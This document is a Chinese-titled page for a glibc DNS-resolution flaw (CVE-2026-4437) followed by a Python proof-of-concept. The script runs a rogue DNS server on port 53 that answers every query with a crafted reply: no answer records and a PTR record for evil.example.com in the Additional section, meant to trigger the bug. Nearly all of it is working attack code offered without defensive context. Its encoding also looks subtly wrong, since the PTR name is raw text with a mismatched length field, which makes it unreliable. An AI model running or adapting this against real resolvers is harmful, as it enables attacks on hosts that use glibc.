CVE-2026-4437 glibc DNS解析逻辑漏洞

import socket import struct # Malicious DNS server simulation for CVE-2026-4437 # This script listens for DNS queries and sends a crafted response # where the answer is placed in the Additional section to trigger the bug. def run_malicious_dns(): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind(('0.0.0.0', 53)) print("[+] Malicious DNS server listening on port 53...") while True: try: data, addr = sock.recvfrom(1024) # Parse Query ID (first 2 bytes) query_id = struct.unpack('!H', data[:2])[0] # Construct a malicious DNS response # Flags: Response, Authoritative, No Error flags = 0x8180 # Questions: 1, Answer RRs: 0 (Trick: 0 answers), Authority RRs: 0, Additional RRs: 1 counts = struct.pack('!HHHH', 1, 0, 0, 1) # Echo back the query (simplified) question = data[12:] # Craft PTR record in the Additional section # Name: compressed pointer to query name (0xC00C) # Type: PTR (12), Class: IN (1), TTL: 3600 # Data Length: 18, Data: evil.example.com additional = b'\xc0\x0c' # Pointer to domain name in question additional += struct.pack('!HHIH', 12, 1, 3600, 18) additional += b'evil.example.com' additional += b'\x00' # End of name response = struct.pack('!HH', query_id, flags) + counts + question + additional sock.sendto(response, addr) print(f"[+] Sent crafted response to {addr}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": run_malicious_dns()